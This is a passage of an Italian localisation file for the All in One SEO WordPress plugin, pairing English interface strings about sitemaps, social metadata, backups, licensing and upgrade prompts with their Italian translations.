robot globale','There was an error importing your settings. Please make sure you are uploading the correct file or it is in the proper format.'=>'Si è verificato un errore nell\'importazione delle impostazioni. Assicuratevi di aver caricato il file corretto o che sia nel formato adatto.','Success! Your settings have been imported.'=>'Riuscito! Le tue impostazioni sono state importate.','A JSON or INI file is required to import settings.'=>'Per importare le impostazioni è necessario un file JSON o INI.','Imported settings will overwrite existing settings and will not be merged.'=>'Le impostazioni importate sovrascrivono quelle esistenti e non vengono unite.','Choose a File'=>'Scegli un file','Import from a JSON or INI file...'=>'Importa da un file JSON o INI...','Import / Restore %1$s Settings'=>'Importa/ripristina le impostazioni di %1$s','Restore'=>'Ripristina','Create Backup'=>'Crea un backup','You have no saved backups.'=>'Non hai backup salvati.','Backup Settings'=>'Impostazioni di backup','%1$s at %2$s'=>'%1$s alle %2$s','Success! The backup was restored.'=>'Riuscito! Il backup è stato ripristinato.','Success! The backup was deleted.'=>'Riuscito! Il backup è stato eliminato.','Delete'=>'Elimina','Closed'=>'Chiuso','Open 24h'=>'Aperto 24 ore su 24','Sunday'=>'Domenica','Saturday'=>'Sabato','Friday'=>'Venerdì','Thursday'=>'Giovedì','Wednesday'=>'Mercoledì','Tuesday'=>'Martedì','Monday'=>'Lunedì','Select your timezone:'=>'Seleziona il tuo fuso orario:','Timezone'=>'Fuso orario','Use 24h format'=>'Usa il formato 24h','Open 24/7'=>'Aperto 24 ore su 24, 7 giorni su 7','Labels'=>'Etichette','Display Opening Hours'=>'Visualizza orari di apertura','Show Opening Hours'=>'Mostra gli orari di apertura','Opening Hours Settings'=>'Impostazioni Orari di apertura','All Items'=>'Tutti gli elementi','Refresh Results'=>'Aggiorna i risultati','Complete SEO Checklist'=>'Checklist SEO completa','Good Results'=>'Ottimi risultati','Recommended Improvements'=>'Miglioramenti consigliati','Your site is not connected. Please connect to %1$s, then try again.'=>'Il tuo sito non è connesso. Collegati a %1$s e riprova.','We were unable to parse the content for this site.'=>'Non siamo riusciti ad analizzare il contenuto di questo sito.','The URL provided is invalid.'=>'L\'URL fornito non è valido.','Please enter a valid URL.'=>'Inserisci un\'URL valida.','Perform in-depth SEO Analysis of your competitor\'s website.'=>'Esegui un\'analisi SEO approfondita del sito web dei tuoi concorrenti.','Enter Competitor URL'=>'Inserisci l\'URL del sito concorrente','Default Taxonomy Object Types'=>'Tassonomia predefinita per tipologia di oggetto','Default Post Type Object Types'=>'Post type predefinito per tipologia','Show Facebook Author'=>'Mostra l\'autore di Facebook','How to get your Facebook Author URL'=>'Come ottenere l\'URL autore su Facebook','How to get your Facebook App ID'=>'Come ottenere il tuo ID App di Facebook','How to get your Facebook Admin ID'=>'Come ottenere l\'ID Facebook Admin','Will be overriden if the Facebook author URL is present in the individual User Profile.'=>'Verrà sovrascritto se l\'URL dell\'autore di Facebook è presente nel profilo dell\'utente.','The Facebook App ID of the site\'s app. In order to use Facebook Insights, you must add the App ID to your page. Insights lets you view analytics for traffic to your site from Facebook. Find the App ID in your App Dashboard.'=>'L\'ID dell\'app di Facebook. Per usare Facebook Insights, devi aggiungere l\'ID dell\'app alla tua pagina. Insights ti permette di vedere le analisi del traffico sul tuo sito direttamente da Facebook. Trova l\'ID dell\'app nella bacheca della tua app.','Enter your Facebook Admin ID here. You can enter multiple Facebook Admin IDs by separating them with a comma.'=>'Inserisci qui il tuo ID Facebook Admin. Puoi inserire più ID Facebook Admin separandoli con una virgola.','Facebook Author URL'=>'URL autore Facebook','Click on the tags below to insert variables into your description.'=>'Fai clic sui tag sottostanti per inserire le variabili nella tua descrizione.','Use the home page description'=>'Utilizza la descrizione della home page','Click on the tags below to insert variables into your home page title.'=>'Fai clic sui tag sottostanti per inserire le variabili nel titolo della tua homepage.','Click on the tags below to insert variables into your site name.'=>'Fai clic sui tag sottostanti per inserire le variabili nel nome del tuo sito.','Use the home page title'=>'Utilizza il titolo della home page','This is what your page configured with %1$s will look like when shared via Facebook. The site title and description will be automatically added.'=>'Ecco come apparirà la tua pagina configurata con %1$s quando verrà condivisa tramite Facebook. Il titolo e la descrizione del sito verranno aggiunti automaticamente.','The Title of the Page or Site you are Sharing'=>'Il titolo della pagina o del sito che stai condividendo','Default Term Facebook Image'=>'Termine predefinito per immagine Facebook','Default Post Facebook Image'=>'Immagine predefinita del post di Facebook','Term Custom Field Name'=>'Nome del campo personalizzato del termine','Post Custom Field Name'=>'Nome del campo personalizzato dell\'articolo','Height'=>'Altezza','Width'=>'Larghezza','Default Term Image Source'=>'Termine predefinito per sorgente immagine','Default Post Image Source'=>'Sorgente immagine predefinita del post','Enable Open Graph Markup'=>'Abilita il markup di Open Graph','Enable this feature if you want Facebook and other social media to display a preview with images and a text excerpt when a link to your site is shared.'=>'Attiva questa funzione se vuoi che Facebook e altri social media visualizzino un\'anteprima con immagini e un riassunto testuale quando viene condiviso un link al tuo sito.','General Facebook Settings'=>'Impostazioni generali di Facebook','Manually Enter Person'=>'Inserisci manualmente la persona','Your Social Profiles'=>'I tuoi profili social','Default Social Share Image'=>'Immagine predefinita per la condivisione social','Remove'=>'Rimuovi','Minimum size: 112px x 112px, The image must be in JPG, PNG, GIF, SVG, or WEBP format.'=>'Dimensione minima: 112px x 112px. Formati accettati: JPG, PNG, GIF, SVG o WEBP.','Paste your image URL or select a new image'=>'Incolla l\'URL della tua immagine o seleziona una nuova immagine.','Upload or Select Image'=>'Carica o seleziona un\'immagine','Logo'=>'Logo','Name'=>'Nome','Choose whether the site represents a person or an organization.'=>'Indica se il sito rappresenta una persona o un\'organizzazione.','Choose a Person'=>'Scegli una persona','Upgrade to %1$s Today'=>'Passa a %1$s oggi stesso','And many more...'=>'E molti altri...','Advanced WooCommerce'=>'WooCommerce avanzato','Image SEO Optimization'=>'Ottimizzazione SEO delle immagini','Video and News Sitemaps'=>'Sitemap Video e News','%1$s is the best WordPress SEO plugin. Join over %2$s Professionals who are already using %3$s to improve their website search rankings.'=>'%1$s è il miglior plugin SEO per WordPress. Unisciti agli oltre %2$s di professionisti che stanno già usando %3$s per migliorare il posizionamento dei loro siti web sui motori di ricerca.','Upgrade to Pro to Unlock Powerful SEO Features'=>'Passa a Pro per sbloccare le potenti funzioni SEO','Setup Webmaster Tools'=>'Imposta gli strumenti per webmaster','See Advanced Settings'=>'Visualizza le Impostazioni avanzate','Watch our Guided Tour of %1$s'=>'Guarda il nostro tour guidato di %1$s','Read our Step By Step Guide to Improve your SEO Rankings'=>'Leggi la nostra Guida passo passo per migliorare i tuoi posizionamenti SEO','Join on Facebook'=>'Iscriviti su Facebook','Here\'s what to do next:'=>'Ecco cosa fare dopo:','Finish Setup and Go to the Dashboard'=>'Termina la configurazione e vai alla bacheca','Congratulations, your site is now SEO ready!'=>'Congratulazioni, il tuo sito è ora ottimizzato per la SEO!','Go back to the Dashboard'=>'Torna alla bacheca','Let\'s Get Started'=>'Cominciamo','%1$s makes it easy to configure your site\'s SEO settings without the need to hire an expert. And it takes less than 10 minutes too!'=>'%1$s ti aiuta a configurare le impostazioni SEO del tuo sito senza dover assumere una persona esperta. Ci vogliono meno di 10 minuti!','Welcome to the %1$s Setup Wizard!'=>'Iniziamo la procedura guidata di %1$s!','Connecting...'=>'Connessione in corso...','Step %1$s of %2$s'=>'Passo %1$s di %2$s','Close and Exit Wizard Without Saving'=>'Chiudi ed esci dalla procedura guidata senza salvare','See all features'=>'Visualizza tutte le caratteristiche','Learn more about all features'=>'Scopri tutte le funzionalità','%1$s %2$s comes with many additional features to help take your site\'s SEO to the next level!'=>'%1$s %2$s include molte nuove funzionalità che porteranno la SEO del tuo sito a un livello superiore!','Image Title'=>'Titolo dell\'immagine','Title:'=>'Titolo:','Archives'=>'Archivi','Content Types'=>'Tipi di contenuto','Global Settings'=>'Impostazioni globali','Pinterest'=>'Pinterest','Social Profiles'=>'Profili social','Database Tools'=>'Strumenti per il database','Import/Export'=>'Importa/esporta','General Sitemap'=>'Sitemap generale','Opening Hours'=>'Orari di apertura','Locations'=>'Sedi','Dashboard'=>'Bacheca','Analyze Competitor Site'=>'Analizza il sito dei concorrenti','SEO Audit Checklist'=>'SEO Audit Checklist','Are you sure you want to leave? you have unsaved changes!'=>'Confermi di voler uscire? Hai delle modifiche non salvate!','Success'=>'Successo','Smart Recommendations'=>'Raccomandazioni smart','Search Appearance'=>'Aspetto nella ricerca','Choose Features'=>'Scegli le caratteristiche','Additional Site Information'=>'Informazioni aggiuntive sul sito','Welcome'=>'Ti diamo il benvenuto','Analytics'=>'Analytics','Connect with %1$s'=>'Collegati con %1$s','Lite vs. Pro'=>'Lite vs. Pro','Getting Started'=>'Per iniziare','Access Control'=>'Controllo degli accessi','RSS Content'=>'Contenuto RSS','Webmaster Tools'=>'Strumenti per webmaster','Contact Page'=>'Pagina di contatto','Title & Description'=>'Titolo e descrizione','Advanced'=>'Avanzate','Google Tag Manager account'=>'Account Google Tag Manager','Item Page'=>'Pagina dell\'elemento','Profile Page'=>'Pagina del profilo','Collection Page'=>'Pagina della collezione','Web Page'=>'Pagina web','None'=>'Nessuna','News Article'=>'Articolo News','Blog Post'=>'Articolo del blog','Article Type'=>'Tipo di articolo','Schema Type'=>'Tipo di Schema','Real Estate Listing'=>'Annunci immobiliari','FAQ Page'=>'Pagina delle FAQ','Custom Fields'=>'Campi personalizzati','Page Analysis'=>'Analisi della pagina','Tools'=>'Strumenti','SEO Analysis'=>'Analisi SEO','Redirects'=>'Reindirizzamenti','Internal Links'=>'Link interni','Sitemap Settings'=>'Impostazioni della Sitemap','Use Default Settings'=>'Usa le impostazioni predefinite','There was an error connecting to the licensing API. Please try again later.'=>'Si è verificato un errore nella connessione all\'API delle licenze. Riprova più tardi.','This license key has reached the maximum number of activations. Please deactivate it from another site or purchase a new license to continue receiving automatic updates.'=>'Questa chiave di licenza ha raggiunto il numero massimo di attivazioni. Disattivala da un altro sito o acquista una nuova licenza per continuare a ricevere gli aggiornamenti automatici.','The license key provided is disabled. Please use a different key to continue receiving automatic updates.'=>'La chiave di licenza fornita è disattivata. Usa una chiave diversa per continuare a ricevere gli aggiornamenti automatici.','The license key provided is invalid. Please use a different key to continue receiving automatic updates.'=>'La chiave di licenza fornita non è valida. Usa una chiave diversa per continuare a ricevere gli aggiornamenti automatici.','An unknown error occurred, please try again later.'=>'Si è verificato un errore sconosciuto, riprova più tardi.','Connect'=>'Connetti','Paste your license key here'=>'Inserisci qui la tua chiave di licenza','Your license key provides access to updates and addons.'=>'La tua chiave di licenza ti fornisce l\'accesso agli aggiornamenti e agli add-on.','default'=>'predefinito','Dynamically Generate'=>'Genera dinamicamente','You can use this section to add any URLs to your sitemap which aren\'t a part of your WordPress installation. For example, if you have a contact form that you would like to be included on your sitemap you can enter the information manually.'=>'Puoi utilizzare questa sezione per aggiungere alla tua sitemap tutti gli URL che non fanno parte della tua installazione di WordPress. Ad esempio, se hai un modulo di contatto che vuoi includere nella tua sitemap, puoi inserire le informazioni manualmente.','Clear'=>'Cancella','Type to search...'=>'Digita per cercare...','Priority Score'=>'Punteggio di priorità','Exclude Posts / Pages'=>'Escludi articoli/pagine','Include All Post Types'=>'Includi tutti i tipi di contenuto','Publication Name'=>'Nome della pubblicazione','Click on the tags below to insert variables into your %1$s attribute.'=>'Fai clic sui tag sottostanti per inserire le variabili nell\'attributo %1$s .','Strip punctuation from image attributes'=>'Elimina la punteggiatura dagli attributi dell\'immagine','Title Attribute Format'=>'Formato dell\'attributo Titolo','https://aioseo.com/'=>'https://aioseo.com/','Search Page'=>'Pagina di ricerca','Date Archives'=>'Archivi per data','Author Archives'=>'Archivi autore','Paginated Content'=>'Contenuti paginati','Categories'=>'Categorie','The fields below contain important SEO information from %1$s that may effect your site.'=>'I campi sottostanti contengono importanti informazioni SEO da parte di %1$s che potrebbero avere un impatto sul tuo sito.','Nofollowed content'=>'Contenuti in nofollow','Noindexed content'=>'Contenuti non indicizzati','Fantastic! By updating to the latest version, you have access to all the latest features, bug fixes and security improvements.'=>'Fantastico! Quando aggiorni all\'ultima versione, hai accesso a tutte le ultime funzionalità, alle correzioni di bug e ai miglioramenti della sicurezza.','Go to Plugins'=>'Vai ai plugin','An update is available for %1$s. Upgrade to the latest version to receive all the latest features, bug fixes and security improvements.'=>'È disponibile un aggiornamento per %1$s. Aggiorna alla versione più recente per ricevere tutte le ultime funzionalità, le correzioni di bug e i miglioramenti della sicurezza.','Awesome! These are required for %1$s\'s Person schema markup.'=>'Fantastico! Questi sono necessari per il markup Schema Persona di %1$s.','Your Person Name and Image are set'=>'Il nome e l\'immagine del campo Persona sono stati impostati','Your Person Name and/or Image are blank. These values are required for %1$s\'s Person schema markup.'=>'Il nome e/o l\'immagine del campo Persona sono vuoti. Questi valori sono necessari per il markup Schema Persona di %1$s.','Your Person Name and/or Image are blank'=>'Il tuo nome e/o la tua immagine sono vuoti','Awesome! These are required for %1$s\'s Organization schema markup.'=>'Fantastico! Questi sono necessari per il markup Schema Organizzazione di %1$s.','Your Organization Name and Logo are set'=>'Il nome e il logo della tua organizzazione sono stati impostati','Your Organization Name and/or Logo are blank. These values are required for %1$s\'s Organization schema markup.'=>'Il nome e/o il logo della tua organizzazione sono vuoti. Questi valori sono necessari per il markup Schema Organizzazione di %1$s.','Your Organization Name and/or Logo are blank'=>'Il nome e/o il logo della tua organizzazione sono vuoti','Great! These are required for %1$s\'s schema markup and are often used as fallback values for various other features.'=>'Ottimo! Questi sono necessari per il markup Schema di %1$s e vengono spesso usati come valori di riserva per altre funzionalità.','Your Site Title and Tagline are set'=>'Il titolo e il motto del tuo sito sono stati impostati','Your Site Title and/or Tagline are blank. We recommend setting both of these values as %1$s requires these for various features, including our schema markup'=>'Il titolo e/o il motto del sito sono vuoti. Ti consigliamo di impostare entrambi i valori perché %1$s li richiede per diverse funzioni, tra cui il nostro markup Schema.','Your Site Title and/or Tagline are blank'=>'Il titolo e/o il motto del tuo sito sono vuoti','Your site is set to public. Search engines will index your website and it will appear in search results.'=>'Il tuo sito è impostato come pubblico. I motori di ricerca indicizzeranno il tuo sito, che apparirà nei risultati della ricerca.','Your site appears in search results'=>'Il tuo sito appare nei risultati della ricerca','Go to Settings > Reading'=>'Vai su Impostazioni > Lettura','Your site is set to private. This means WordPress asks search engines to exclude your website from search results.'=>'Il tuo sito è impostato come privato. Ciò significa che WordPress dice ai motori di ricerca di escludere il tuo sito dai risultati della ricerca.','Your site does not appear in search results'=>'Il tuo sito non compare nei risultati di ricerca','The last name of the post author.'=>'Il cognome dell\'autore dell\'articolo.','By allowing us to track usage data we can better help you as we will know which WordPress configurations, themes and plugins we should test.'=>'Se ci permetti di tracciare i dati di utilizzo, potremo aiutarti meglio perché sapremo quali configurazioni di WordPress, temi e plugin testare.','RSS Content Settings'=>'Impostazioni contenuto RSS','Click here'=>'Fai clic qui','Learn More'=>'Scopri di più','Local Business Schema'=>'Schema Business Locale','LinkedIn Post Inspector'=>'Ispettore dei post su LinkedIn','Go to Settings > General'=>'Vai su Impostazioni > Generale','State'=>'Stato','Local Business SEO'=>'SEO per attività commerciali locali','Notifications'=>'Notifiche','News Sitemap'=>'Sitemap News','Publish Date'=>'Data di pubblicazione','URL'=>'URL','Access our Premium Support'=>'Accesso al nostro supporto Premium','RSS Sitemap'=>'Sitemap RSS','Not Really...'=>'Non molto...','Yes I love it'=>'Sì, mi piace','Keywords'=>'Parole chiave','titles'=>'titoli','Not Installed'=>'Non installato','Priority Support'=>'Supporto prioritario','Posts, Pages, Categories and Tags only'=>'Solo articoli, pagine, categorie e tag','Not Available'=>'Non disponibile','WooCommerce Products only'=>'Solo prodotti WooCommerce','Posts, Pages, custom Post Types + Categories, Tags and custom Taxonomies'=>'Articoli, Pagine, post type personalizzati + Categorie, Tag e tassonomie personalizzate','Complete Support'=>'Supporto completo','Posts, Pages and custom Post Types only'=>'Solo articoli, pagine e post type personalizzati','Limited Support'=>'Supporto limitato','Get %1$s %2$s and Unlock all the Powerful Features.'=>'Ottieni %1$s %2$s e sblocca tutte le potenti funzionalità.','Get the most out of %1$s by upgrading to Pro and unlocking all of the powerful features.'=>'Sfrutta al massimo %1$s passando a Pro e sbloccando tutte le potenti caratteristiche.','Schema Rich Snippets'=>'Schema Rich Snippet','WooCommerce Integration'=>'Integrazione con WooCommerce','Social Meta (Open Graph Markup)'=>'Social Meta (Open Graph Markup)','Search Engine Optimization (SEO)'=>'Ottimizzazione dei motori di ricerca (SEO)','Yup, we know a thing or two about building awesome products that customers love.'=>'Sì, effettivamente sappiamo come costruire prodotti eccezionali che i nostri clienti amano.','Our goal is to take the pain out of optimizing your website for search engines.'=>'Il nostro obiettivo è eliminare la fatica di ottimizzare il tuo sito web per i motori di ricerca.','Over the years, we found that most other WordPress SEO plugins were bloated, buggy, slow, and very hard to use. So we designed our plugin as an easy and powerful tool.'=>'Nel corso degli anni, abbiamo scoperto che la maggior parte degli altri plugin SEO per WordPress erano ingombranti, afflitti da bug, lenti e molto difficili da usare. Abbiamo quindi progettato il nostro plugin come uno strumento facile e potente.','Welcome to %1$s, the original SEO plugin for WordPress. At %2$s, we build software that helps you rank your website in search results and gain organic traffic.'=>'Ti diamo il benvenuto su %1$s, il primo plugin SEO di WordPress. Noi di %2$s creiamo software che ti aiutano a posizionare il tuo sito web nei risultati di ricerca e a ottenere traffico organico.','Plugin installed & activated.'=>'Plugin installato e attivato.','Activate'=>'Attiva','Activated'=>'Attivato','Join our Community'=>'Unisciti alla nostra community','Support & Docs'=>'Supporto e documentazione','Link has been inserted.'=>'Il link è stato inserito.','No results found.'=>'Nessun risultato trovato.','(no title)'=>'(senza titolo)','Add Link'=>'Aggiungi link','Update'=>'Aggiorna','Social meta for Categories, Tags and Custom Taxonomies'=>'Social meta per categorie, tag e tassonomie personalizzate','Warning: %1$s has detected other active SEO or sitemap plugins. We recommend that you deactivate the following plugins to prevent any conflicts:'=>'Attenzione: %1$s ha rilevato che nel tuo sito sono attivi altri plugin per la SEO o per le sitemap. Ti consigliamo di disattivare i seguenti plugin per evitare conflitti:','Give us a 5-star rating!'=>'Lasciaci una valutazione 5 stelle!','Mobile-Friendly Test'=>'Test Mobile-Friendly','Google Page Speed Test'=>'Test Google PageSpeed','CSS Validator'=>'Validatore CSS','HTML Validator'=>'Validatore HTML','Pinterest Rich Pins Validator'=>'Validatore dei rich pin di Pinterest','Facebook Debugger'=>'Debugger di Facebook','Check Google Cache'=>'Controlla la cache di Google','Check links to this URL'=>'Controlla i link a questo URL','Analyze this page'=>'Analizza questa pagina','Get %1$s %2$s and Unlock all the Powerful Features'=>'Ottieni %1$s %2$s e sblocca tutte le potenti funzionalità','You\'re using %1$s. To unlock more features, consider %2$s'=>'Stai utilizzando %1$s. Per sbloccare altre funzioni, prendi in considerazione %2$s','You\'re using %1$s - no license needed. Enjoy!'=>'Stai usando %1$s - non serve avere una licenza. Buon divertimento!','Suggest a Feature'=>'Suggerisci una funzionalità','never'=>'mai','yearly'=>'annuale','hourly'=>'ogni ora','always'=>'sempre','Your image\'s alt tag attribute.'=>'L\'attributo alt tag della tua immagine.','As a valued user you receive %1$s, automatically applied at checkout!'=>'Sei uno dei nostri preziosi utenti e per questo ti applichiamo automaticamente un %1$s di sconto al momento del pagamento!','Upgrade to %1$s'=>'Passa a %1$s','To unlock more features, consider %1$s.'=>'Per sbloccare più funzioni, fai l\'%1$s.','About Us'=>'Chi siamo','I already did'=>'L\'ho già fatto','Nope, maybe later'=>'No, forse più tardi','Ok, you deserve it'=>'Ok, te lo meriti','That\'s awesome! Could you please do us a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?'=>'Fantastico! Potresti farci un GRANDE favore e dare una valutazione a 5 stelle su WordPress per farci conoscere e darci una po\' di motivazione?','Give feedback'=>'Lasciaci un feedback','We\'re sorry to hear you aren\'t enjoying %1$s. We would love a chance to improve. Could you take a minute and let us know what we can do better?'=>'Ci dispiace sapere che non stai apprezzando %1$s. Vorremmo fare di meglio: potresti dedicarci un minuto e farci sapere cosa possiamo migliorare?','Are you enjoying %1$s?'=>'Ti piace usare %1$s?','All in One SEO Team'=>'Team di All in One SEO','Person Name'=>'Nome della persona','Ad free (no banner adverts)'=>'Senza pubblicità (non ci sono banner pubblicitari)','Organize sitemap entries into distinct files in your sitemap. We recommend you enable this setting if your sitemap contains more than 1,000 URLs.'=>'Organizza le voci della sitemap in file distinti nella tua sitemap. Ti consigliamo di attivare questa impostazione se la tua sitemap contiene più di 1.000 URL.','Reservations'=>'Prenotazioni','Sales'=>'Vendite','Billing Support'=>'Supporto alla fatturazione','Technical Support'=>'Supporto tecnico','Customer Support'=>'Servizio clienti','Phone Number'=>'Numero di telefono','Organization Name'=>'Nome dell\'organizzazione','The page number.'=>'Il numero della pagina.','Archive'=>'Archivia','Category'=>'Categoria','Month'=>'Mese','Page'=>'Pagina','Read the %1$s user guide'=>'Leggi la guida all\'uso di %1$s','Welcome to %1$s'=>'Ti diamo il benvenuto su %1$s','Temporarily unable to load feed.'=>'Al momento non è possibile caricare il feed.','Warning: %1$s has detected that you are blocking access to search engines. You can change this in Settings > Reading if this was unintended.'=>'Attenzione: %1$s ha rilevato che stai bloccando l\'accesso ai motori di ricerca. Se non è una scelta voluta, puoi modificare questa impostazione in Impostazioni > Lettura.','Remind Me Later'=>'Ricordamelo in seguito','No thanks'=>'No grazie','We have detected you are running %1$s. Upgrade to %2$s to unlock our advanced eCommerce SEO features, including SEO for Product Categories and more.'=>'Abbiamo rilevato che stai usando %1$s. Effettua l\'aggiornamento a %2$s per sbloccare le nostre funzionalità SEO avanzate per l\'ecommerce, tra cui la SEO per categorie di prodotti e molto altro.','Dismiss'=>'Ignora','Exclude Terms'=>'Escludi i termini','%1$s Debug Info'=>'%1$s Informazioni di debug','Inactive Plugins'=>'Plugin inattivi','Active Plugins'=>'Plugin attivi','Baidu Webmaster Tools'=>'Baidu Webmaster Tools','Yandex Webmaster Tools'=>'Yandex Webmaster Tools','Author Pages'=>'Pagine degli autori','Your site title.'=>'Il titolo del tuo sito.','sitemaps'=>'sitemap','This sitemap index contains'=>'L\'indice della sitemap contiene','URLs'=>'URL','This sitemap contains'=>'Questa sitemap contiene','this is an XML Sitemap, meant to be consumed by search engines like Google or Bing.'=>'si tratta di una sitemap XML, pensata per essere usata dai motori di ricerca come Google o Bing.','Generated by'=>'Generato da','Bing Webmaster Tools'=>'Bing Webmaster Tools','Google Search Console'=>'Google Search Console','Disallow'=>'Nega','Allow'=>'Permetti','Exclude Images'=>'Escludi le immagini','Exclude Images from your sitemap.'=>'Escludi le immagini dalla tua sitemap.','Search Engine Visibility'=>'Visibilità nei motori di ricerca','Site Language'=>'Lingua del sito','Site Title'=>'Titolo del sito','SEO for Categories, Tags and Custom Taxonomies'=>'SEO per Categorie, Tag e Tassonomie personalizzate','Advanced support for e-commerce'=>'Supporto avanzato per ecommerce','Use Content for Autogenerated Descriptions'=>'Usa il contenuto per le descrizioni autogenerate','SEO News'=>'Novità SEO','Upgrade'=>'Aggiorna','Dynamically creates the XML Sitemap instead of using a static file.'=>'Crea dinamicamente la sitemap XML invece di usare un file statico.','Analyze'=>'Analizza','SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs, business sites, ecommerce sites, and much more. More than 100 million downloads since 2007.'=>'SEO per WordPress. Funzionalità come Sitemap XML, SEO per custom post type, SEO per blog, siti aziendali, siti di ecommerce e molto altro ancora. Oltre 100 milioni di download dal 2007.','Image SEO'=>'SEO dell\'immagine','Use Custom Blocklists'=>'Usa liste di blocco personalizzate','Block Referral Spam using HTTP'=>'Blocca lo spam dai referral usando HTTP.','Block Bad Bots using HTTP'=>'Blocca i bot malevoli usando HTTP','Upgrade to Pro'=>'Passa a Pro','Documentation'=>'Documentazione','SEO Settings'=>'Impostazioni SEO','License Key'=>'Chiave di licenza','Facebook App ID'=>'ID App di Facebook','Facebook Admin ID'=>'ID Facebook Admin','dynamically'=>'dinamicamente','Add URL'=>'Aggiungi URL','Additional Pages'=>'Pagine aggiuntive','Last Modified'=>'Ultima modifica','Change Frequency'=>'Modifica la frequenza','Page URL'=>'URL della pagina','Frequency'=>'Frequenza','Priority'=>'Priorità','Taxonomies'=>'Tassonomie','Post Types'=>'Post Type','Enable Sitemap Indexes'=>'Abilita indici della sitemap','monthly'=>'mensile','weekly'=>'settimanale','daily'=>'giornaliero','Include Author Archives in your sitemap.'=>'Includi gli archivi autori nella sitemap.','Include Date Archives in your sitemap.'=>'Includi gli archivi dati nella sitemap.','Select which Taxonomies appear in your sitemap.'=>'Seleziona quali tassonomie appaiono nella tua sitemap.','Select which Post Types appear in your sitemap.'=>'Seleziona quali tipi di contenuto compaiono nella tua sitemap.','Allows you to specify the maximum number of posts in a sitemap (up to 50,000).'=>'Ti consente di specificare il numero massimo di articoli in una sitemap (fino a 50.000).','XML Sitemap'=>'Sitemap XML','Discard Changes'=>'Annullamento delle modifiche','Add Rule'=>'Aggiungi regola','User Agent'=>'User agent','Submit'=>'Invia','Email Debug Information'=>'Email per le informazioni di debug','Active Theme'=>'Tema attivo','Multisite'=>'Multisito','Home URL'=>'URL home','Site URL'=>'URL sito','PHP XML Support'=>'Supporto XML PHP','PHP IPTC Support'=>'Supporto IPTC PHP','PHP Exif Support'=>'Supporto Exif PHP','PHP Max Script Execution Time'=>'Tempo massimo di esecuzione PHP','PHP Max Post Size'=>'Dimensione massima post PHP','PHP Max Upload Size'=>'Dimensione upload massima PHP','PHP Memory Limit'=>'Limite di memoria PHP','PHP Version'=>'Versione PHP','SQL Mode'=>'Modalità SQL','Memory Usage'=>'Utilizzo memoria','Server'=>'Server','Operating System'=>'Sistema operativo','Yes'=>'Sì','N/A'=>'N/D','Off'=>'Off','On'=>'On','Not set'=>'Non impostato','System Status'=>'Stato del sistema','Object Type'=>'Tipo di Oggetto','Default'=>'Predefinito','Organization'=>'Azienda','Person'=>'Persona','Person or Organization'=>'Persona o azienda','Article Tags'=>'Tag Articolo','Article Section'=>'Sezione dell\'articolo','Use Post Tags in Article Tags'=>'Usa i tag dei post nei tag degli articoli','Use Categories in Article Tags'=>'Usa le categorie nei tag degli articoli','Use Keywords in Article Tags'=>'Usa le parole chiave nei tag degli articoli','Automatically Generate Article Tags'=>'Genera automaticamente i tag articolo','Summary'=>'Sommario','Custom Image'=>'Immagine Personalizzata','Image'=>'Immagine','First Available Image'=>'Prima immagine disponibile','Post Author Image'=>'Immagine dell\'autore del post','Image from Custom Field'=>'Immagine dal campo personalizzato','First Image in Content'=>'Prima immagine nel contenuto','Featured Image'=>'Immagine in evidenza','Site Description'=>'Descrizione del sito','Site Name'=>'Nome sito','Run Shortcodes in Description'=>'Esegui gli shortcode nella descrizione','Run Shortcodes in Title'=>'Esegui gli shortcode nel titolo','Website'=>'Sito web','Blog'=>'Blog','Article'=>'Articolo','Episode'=>'Episodio','TV Show'=>'Spettacolo televisivo','Song'=>'Canzone','Product'=>'Prodotto','Movie'=>'Film','Game'=>'Gioco','Food'=>'Cibo','Drink'=>'Drink','Book'=>'Libro','Album'=>'Disco','State/Province'=>'Stato/Provincia','Landmark'=>'Luogo d\'interesse','Country'=>'Nazione','City'=>'Città','Public Figure'=>'Personaggio pubblico','Profile'=>'Profilo','Politician'=>'Politica o politico','Musician'=>'Musicista','Director'=>'Regista','Author'=>'Autore','Athlete'=>'Atleta','Actor'=>'Attrice o attore','University'=>'Università','School'=>'Scuola','Non-Profit'=>'No-profit','Band'=>'Gruppo musicale','Sports Team'=>'Squadra sportiva','Sports League'=>'Lega sportiva','Cause'=>'Causa','Restaurant'=>'Ristorante','Hotel'=>'Albergo','Cafe'=>'Caffetteria','Company'=>'Azienda','Bar'=>'Barra','Sport'=>'Sport','Activity'=>'Attività','Update Options'=>'Aggiorna opzioni','Export Settings'=>'Impostazioni per l\'esportazione','Import'=>'Importa','Facebook'=>'Facebook','No'=>'No','Cancel'=>'Cancella','Save'=>'Salva','Post'=>'Articolo','Edit'=>'Modifica','Edit .htaccess'=>'Modifica .htaccess','.htaccess Editor'=>'Editor .htaccess','Robots.txt Editor'=>'Editor robots.txt','Video Sitemap'=>'Sitemap Video','Performance'=>'Performance','Robots.txt'=>'Robots.txt','Social Media'=>'Social media','Feature Manager'=>'Gestione delle funzionalità','Version'=>'Versione','Support'=>'Supporto','All in One SEO'=>'All in One SEO','Edit SEO'=>'Modifica SEO','SEO'=>'SEO','Google Analytics'=>'Google Analytics','Getting started? Read the Beginners Guide'=>'Stai iniziando ora? Leggi la guida per principianti','Watch video tutorials'=>'Guarda i video tutorial','View the Changelog'=>'Visualizza il Changelog','Reset Selected Settings to Default'=>'Riporta le impostazioni selezionate ai valori predefiniti','Front Page'=>'Home page','Advanced Settings'=>'Impostazioni avanzate','Display Settings'=>'Impostazioni di Visualizzazione','Network Settings'=>'Impostazioni di rete','Home Page Settings'=>'Impostazioni della Home Page','Manage Google Analytics'=>'Gestisci Google Analytics','Description'=>'Descrizione','Title'=>'Titolo','Autogenerate Descriptions'=>'Genera le descrizioni automaticamente','Use Tags for Meta Keywords'=>'Usa i tag per Meta Keywords','Use Categories for Meta Keywords'=>'Usa le categorie per le Meta Keywords','Pinterest Site Verification'=>'Pinterest Site Verification','Paged Format'=>'Formato della pagina','Description Format'=>'Formato Descrizione','No Pagination for Canonical URLs'=>'Nessuna paginazione per gli URL canonici','Canonical URL'=>'URL canonico','Disabled'=>'Disabilitato','Enabled'=>'Abilitato','This string gets appended to the titles and descriptions of paginated pages (like term or archive pages).'=>'Questa stringa viene aggiunta ai titoli e alle descrizioni delle pagine paginate (come le pagine dei termini o degli archivi).','Check this if you want your keywords on your Posts page (set in WordPress under Settings, Reading, Front Page Displays) and your archive pages to be dynamically generated from the keywords of the posts showing on that page. If unchecked, it will use the keywords set in the edit page screen for the posts page.'=>'Seleziona questa opzione se 